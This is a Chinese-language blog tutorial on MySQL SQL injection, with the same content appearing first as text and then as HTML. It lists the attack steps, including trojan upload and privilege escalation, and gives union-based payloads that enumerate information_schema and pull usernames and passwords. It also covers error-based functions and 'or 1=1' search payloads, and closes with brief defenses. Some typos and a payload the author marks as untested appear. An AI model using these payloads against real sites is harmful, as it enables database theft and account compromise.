文章目录
1 介绍
SQL注入漏洞主要是由于,在请求的时候没有做严格的过滤,导致传入的语句被当做SQL语句被执行,从而导致数据库受损(被脱库、删除、甚至数据付权限沦陷)
2 一般步骤
-
SQL注入点探测
判断什么地方存在SQL注入点,通常在表单
,文章查询
等与数据库有关操作的页面。
-
收集后台数据库信息
不同的数据库的注入方法、函数各不相同,因此注入前要判断数据库的类型。
如:
特殊字符、单引号:让数据库返回错误
函数:
version()函数:MSQL专用
1 and version()>0
-
猜测用户名和密码
表名、字段名、字段数、用户名和密码。
-
查找 Web 后台管理入口
可以使用 目录扫描工具
-
入侵and破坏
登录后台:上传木马、篡改网页、窃取信息。
进一步提权:入侵Web服务器和数据库服务器。
3 注入
测试数据
+
| isbn | title |
+
| 9787302458210 | SQL Server 从入门到精通(第2版) |
| 9787115496003 | 虚拟化技术应用与实践 |
| 9787302510109 | 算法设计与分析(第4版) |
| 9787503442490 | 心灵密码 |
| 9787503421884 | 雪狼 |
| 9787539635835 | 龙头老太 |
+
3 函数
3.1 常用的系统函数
函数 |
作用 |
version() |
MySQL版本 |
user() |
数据库用户名 |
database() |
数据库名 |
@@datadir |
数据库路径 |
@@version_complie_os |
操作系统版本 |
3.2 字符串连接函数
三大法宝:concat(),group_concat(),concat_ws()
3.2.1 concat() 函数
特点:concat(str1,str2,...)
返回结果为连接参数产生的字符串,如果任何一个参数为NULL,则返回值为NULL,可以有一个或多个参数。
1. 不使用字符连接函数:
select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版) |
+---------------+----------------------------------+
2.使用示例
一般我们都要用一个字符将各个项隔开,便于数据的查看
select concat(isbn,',',title) from books limit 1;
+
| concat(isbn,',',title) |
+
| 9787302458210,SQL Server 从入门到精通(第2版) |
+
3.2.2 concat_ws() 函数
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
特点
:CONCAT_WS(separator,str1,str2,…)
使用示例

3.2.3 group_concat() 函数
GROUP_CONCAT
函数返回一个字符串结果,该结果由分组中的值连接组合而成。
select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;
就不演示了,sql语句如同上面
4 注入
4.1 联合查询 union 注入
使用联合查询进行的前提是我们进行注入的页面必须有显示位。
1、使用union
payload:
v' union select username from member where id=1#%
select 必须有相同的列,且各列的数据也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。
联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
select bid,author from books union select username from users;

2、 payload:a' order by 4#%
select bid,author from books order by 4

select bid,author from books order by 2

3、得到主查询由三个字段后,我们用union来做一个sql拼接。
pauload
a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();
这里没有测试通过
4.2 information_schema 注入
information_schema
数据库是MySQL5.0系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
select group_concat(schema_name) from information_schema.schemata;
实际注入测试
5.2.1 获取所有数据库
类型:id=/wd=/name=
-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

4.2.2 获取指定数据库的表
payload
a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

4.2.3 获取指定表的字段名
payload
a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';

4.2.4 获取字段值得内容
payload
a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

4.3 基于报错信息注入
此方法是在页面没有显示位,但是 echomysql_error()
函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error()
输出了错误信息时使用。常见的select/insert/update/delete
注入都可以使用报错方式来获取信息。
4.3.1 三个常用报错函数
updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor(): MYSQL中用来取整的函数.
4.4 数字注入
or 1=1
4.5 搜索注入
在搜索框搜索的时候,成为搜索型。
数字型与字符型注入最大区别:数字型不需要单引号闭合,而字符串类型需要单引号闭合。
%xxx% or 1=1 #%'
5 sql注入防御
- 对输入进行严格的转义和过滤
- 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
参考文章:
https://zhuanlan.zhihu.com/p/258032596
https://www.cnblogs.com/lcamry/p/5715634.html
官网:https://www.couragesteak.com/
<p><h3>文章目录</h3><ul><ul><li><a href="#1__2">1 介绍</a></li><li><a href="#2__6">2 一般步骤</a></li><li><a href="#3__30">3 注入</a></li><li><a href="#3__45">3 函数</a></li><ul><li><a href="#31__46">3.1 常用的系统函数</a></li><li><a href="#32__55">3.2 字符串连接函数</a></li><ul><li><a href="#321_concat__57">3.2.1 concat() 函数</a></li><li><a href="#322_concat_ws__87">3.2.2 concat_ws() 函数</a></li><li><a href="#323_group_concat__94">3.2.3 group_concat() 函数</a></li></ul></ul><li><a href="#4__102">4 注入</a></li><ul><li><a href="#41__union__103">4.1 联合查询 union 注入</a></li><li><a href="#42_information_schema__148">4.2 information_schema 注入</a></li><ul><li><a href="#521__155">5.2.1 获取所有数据库</a></li><li><a href="#422__164">4.2.2 获取指定数据库的表</a></li><li><a href="#423__176">4.2.3 获取指定表的字段名</a></li><li><a href="#424__189">4.2.4 获取字段值得内容</a></li></ul><li><a href="#43__202">4.3 基于报错信息注入</a></li><ul><li><a href="#431__207">4.3.1 三个常用报错函数</a></li></ul><li><a href="#44__217">4.4 数字注入</a></li><li><a href="#45__221">4.5 搜索注入</a></li></ul><li><a href="#5_sql_228">5 sql注入防御</a></li></ul></ul></p>
<h2><a id="1__2"></a>1 介绍</h2>
<p>SQL注入漏洞主要是由于,在请求的时候没有做严格的过滤,导致传入的语句被当做SQL语句被执行,从而导致数据库受损(被脱库、删除、甚至数据付权限沦陷)</p>
<h2><a id="2__6"></a>2 一般步骤</h2>
<ol>
<li>
<p><strong>SQL注入点探测</strong><br />
判断什么地方存在SQL注入点,通常在<code>表单</code>,<code>文章查询</code>等与数据库有关操作的页面。</p>
</li>
<li>
<p><strong>收集后台数据库信息</strong><br />
不同的数据库的注入方法、函数各不相同,因此注入前要判断数据库的类型。<br />
如:<br />
特殊字符、单引号:让数据库返回错误<br />
函数:<br />
version()函数:MSQL专用</p>
<pre><div class="hljs"><code class="lang-sql"><span class="hljs-number">1</span> <span class="hljs-keyword">and</span> version()<span class="hljs-operator">></span><span class="hljs-number">0</span>
</code></div></pre>
</li>
<li>
<p><strong>猜测用户名和密码</strong><br />
表名、字段名、字段数、用户名和密码。</p>
</li>
<li>
<p>查找 Web 后台管理入口<br />
可以使用 目录扫描工具</p>
</li>
<li>
<p>入侵and破坏<br />
登录后台:上传木马、篡改网页、窃取信息。<br />
进一步提权:入侵Web服务器和数据库服务器。</p>
</li>
</ol>
<h2><a id="3__30"></a>3 注入</h2>
<p>测试数据</p>
<pre><div class="hljs"><code class="lang-sql"><span class="hljs-operator">+</span><span class="hljs-comment">---------------+----------------------------------+</span>
<span class="hljs-operator">|</span> isbn <span class="hljs-operator">|</span> title <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-comment">---------------+----------------------------------+</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787302458210</span> <span class="hljs-operator">|</span> <span class="hljs-keyword">SQL</span> Server 从入门到精通(第<span class="hljs-number">2</span>版) <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787115496003</span> <span class="hljs-operator">|</span> 虚拟化技术应用与实践 <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787302510109</span> <span class="hljs-operator">|</span> 算法设计与分析(第<span class="hljs-number">4</span>版) <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787503442490</span> <span class="hljs-operator">|</span> 心灵密码 <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787503421884</span> <span class="hljs-operator">|</span> 雪狼 <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787539635835</span> <span class="hljs-operator">|</span> 龙头老太 <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-comment">---------------+----------------------------------+</span>
</code></div></pre>
<h2><a id="3__45"></a>3 函数</h2>
<h3><a id="31__46"></a>3.1 常用的系统函数</h3>
<table>
<thead>
<tr>
<th>函数</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>version()</td>
<td>MySQL版本</td>
</tr>
<tr>
<td>user()</td>
<td>数据库用户名</td>
</tr>
<tr>
<td>database()</td>
<td>数据库名</td>
</tr>
<tr>
<td>@@datadir</td>
<td>数据库路径</td>
</tr>
<tr>
<td>@@version_complie_os</td>
<td>操作系统版本</td>
</tr>
</tbody>
</table>
<h3><a id="32__55"></a>3.2 字符串连接函数</h3>
<p>三大法宝:concat(),group_concat(),concat_ws()</p>
<h4><a id="321_concat__57"></a>3.2.1 concat() 函数</h4>
<p>特点:<code>concat(str1,str2,...) </code><br />
返回结果为连接参数产生的字符串,如果任何一个参数为NULL,则返回值为NULL,可以有一个或多个参数。</p>
<p><strong>1. 不使用字符连接函数:</strong></p>
<pre><div class="hljs"><code class="lang-sql"><span class="hljs-keyword">select</span> isbn,title <span class="hljs-keyword">from</span> books limit <span class="hljs-number">1</span>;
</code></div></pre>
<pre><code class="lang-">+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版) |
+---------------+----------------------------------+
</code></pre>
<p><strong>2.使用示例</strong><br />
一般我们都要用一个字符将各个项隔开,便于数据的查看</p>
<pre><div class="hljs"><code class="lang-sql"><span class="hljs-keyword">select</span> concat(isbn,<span class="hljs-string">','</span>,title) <span class="hljs-keyword">from</span> books limit <span class="hljs-number">1</span>;
</code></div></pre>
<pre><div class="hljs"><code class="lang-sql"><span class="hljs-operator">+</span><span class="hljs-comment">------------------------------------------------+</span>
<span class="hljs-operator">|</span> concat(isbn,<span class="hljs-string">','</span>,title) <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-comment">------------------------------------------------+</span>
<span class="hljs-operator">|</span> <span class="hljs-number">9787302458210</span>,<span class="hljs-keyword">SQL</span> Server 从入门到精通(第<span class="hljs-number">2</span>版) <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-comment">------------------------------------------------+</span>
</code></div></pre>
<h4><a id="322_concat_ws__87"></a>3.2.2 concat_ws() 函数</h4>
<p>CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。<br />
<code>特点</code>:CONCAT_WS(separator,str1,str2,…)<br />
<strong>使用示例</strong></p>
<p><img src="https://static.couragesteak.com/article/77b1a543c7d914754ec0dc41c8699255.png" alt="image.png" /></p>
<h4><a id="323_group_concat__94"></a>3.2.3 group_concat() 函数</h4>
<p><code>GROUP_CONCAT</code>函数返回一个字符串结果,该结果由分组中的值连接组合而成。</p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author,group_concat(bid) from books <span class="hljs-built_in">where</span> author <span class="hljs-keyword">in</span>(<span class="hljs-string">'金勇先'</span>,<span class="hljs-string">'方兆祥 著'</span>) <span class="hljs-built_in">group</span> by bid;
</code></div></pre>
<p>就不演示了,sql语句如同上面</p>
<h2><a id="4__102"></a>4 注入</h2>
<h3><a id="41__union__103"></a>4.1 联合查询 union 注入</h3>
<p>使用联合查询进行的前提是我们进行注入的页面必须有显示位。</p>
<p>1、使用union<br />
payload:</p>
<pre><div class="hljs"><code class="lang-powershell">v<span class="hljs-string">' union select username from member where id=1#%
</span></code></div></pre>
<p>select 必须有相同的列,且各列的数据也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。<br />
联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。</p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author from books union <span class="hljs-built_in">select</span> username from users;
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/55fc5e68aa5eecbf3def3cc33239db39.png" alt="image.png" /></p>
<p>2、 payload:<code>a' order by 4#%</code></p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author from books order by <span class="hljs-number">4</span><span class="hljs-comment">#%;</span>
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/2a1cf729d962bb7dfe0f987836e1f201.png" alt="image.png" /></p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author from books order by <span class="hljs-number">2</span><span class="hljs-comment">#%;</span>
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/cfea252c314bda500c08d6a68bc42075.png" alt="image.png" /></p>
<p>3、得到主查询由三个字段后,我们用union来做一个sql拼接。<br />
pauload</p>
<pre><div class="hljs"><code class="lang-powershell">a<span class="hljs-string">' union selec database(),user(),version()#%
</span></code></div></pre>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author,title from books union selec database(),user(),version();
</code></div></pre>
<p>这里没有测试通过</p>
<h3><a id="42_information_schema__148"></a>4.2 information_schema 注入</h3>
<p><code>information_schema</code>数据库是MySQL5.0系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。</p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> group_concat(schema_name) from information_schema.schemata;
</code></div></pre>
<p>实际注入测试</p>
<h4><a id="521__155"></a>5.2.1 获取所有数据库</h4>
<p>类型:id=/wd=/name=</p>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-literal">-1</span> union <span class="hljs-built_in">select</span> <span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,group_concat(schema_name) from information_schema.schemata
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/877b06e783ac3208f825ee51dca8e6ba.png" alt="image.png" /></p>
<h4><a id="422__164"></a>4.2.2 获取指定数据库的表</h4>
<p>payload</p>
<pre><div class="hljs"><code class="lang-powershell">a<span class="hljs-string">' union select table_schema ,table_name,3 from information_schema.tables where table_schema='</span>library<span class="hljs-string">'
</span></code></div></pre>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author,title from books union <span class="hljs-built_in">select</span> table_schema ,table_name,<span class="hljs-number">3</span> from information_schema.tables <span class="hljs-built_in">where</span> table_schema=<span class="hljs-string">'library'</span>;
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/c6209f74e333b857bae7807fed554caf.png" alt="image.png" /></p>
<h4><a id="423__176"></a>4.2.3 获取指定表的字段名</h4>
<p>payload</p>
<pre><div class="hljs"><code class="lang-powershell">a<span class="hljs-string">' union select table_name,column_name,3 from information_schema.columns where table_name='</span>users<span class="hljs-string">'#%
</span></code></div></pre>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author,title from books union <span class="hljs-built_in">select</span> table_name,column_name,<span class="hljs-number">3</span> from information_schema.columns <span class="hljs-built_in">where</span> table_name=<span class="hljs-string">'users'</span>;
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/7b94e3cf053ec96cacdfd4a7ffebf427.png" alt="image.png" /></p>
<h4><a id="424__189"></a>4.2.4 获取字段值得内容</h4>
<p>payload</p>
<pre><div class="hljs"><code class="lang-powershell"> a<span class="hljs-string">' union select username ,password,3 from users#%
</span></code></div></pre>
<pre><div class="hljs"><code class="lang-powershell"><span class="hljs-built_in">select</span> bid,author,title from books union <span class="hljs-built_in">select</span> username,password,<span class="hljs-number">3</span> from users;
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/e72e02ae2201691484e6fb0e20475891.png" alt="image.png" /></p>
<h3><a id="43__202"></a>4.3 基于报错信息注入</h3>
<p>此方法是在页面没有显示位,但是 <code>echomysql_error()</code> 函数,在前端输出了错误信息的时候方能使用。<br />
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 <code>echomysql_error()</code> 输出了错误信息时使用。常见的<code>select/insert/update/delete</code> 注入都可以使用报错方式来获取信息。</p>
<h4><a id="431__207"></a>4.3.1 三个常用报错函数</h4>
<p>updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数<br />
extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.<br />
floor(): MYSQL中用来取整的函数.</p>
<hr>
<h3><a id="44__217"></a>4.4 数字注入</h3>
<pre><div class="hljs"><code class="lang-css">or <span class="hljs-number">1</span>=<span class="hljs-number">1</span>
</code></div></pre>
<h3><a id="45__221"></a>4.5 搜索注入</h3>
<p>在搜索框搜索的时候,成为搜索型。<br />
数字型与字符型注入最大区别:数字型不需要单引号闭合,而字符串类型需要单引号闭合。</p>
<pre><div class="hljs"><code class="lang-css">%xxx% or <span class="hljs-number">1</span>=<span class="hljs-number">1</span> #%&amp;<span class="hljs-selector-id">#x27</span>;
</code></div></pre>
<h2><a id="5_sql_228"></a>5 sql注入防御</h2>
<ol>
<li>对输入进行严格的转义和过滤</li>
<li>使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!</li>
</ol>
<p>参考文章:<br />
https://zhuanlan.zhihu.com/p/258032596<br />
https://www.cnblogs.com/lcamry/p/5715634.html</p>
<p>官网:<a href="https://www.couragesteak.com/" target="_blank">https://www.couragesteak.com/</a></p>
留言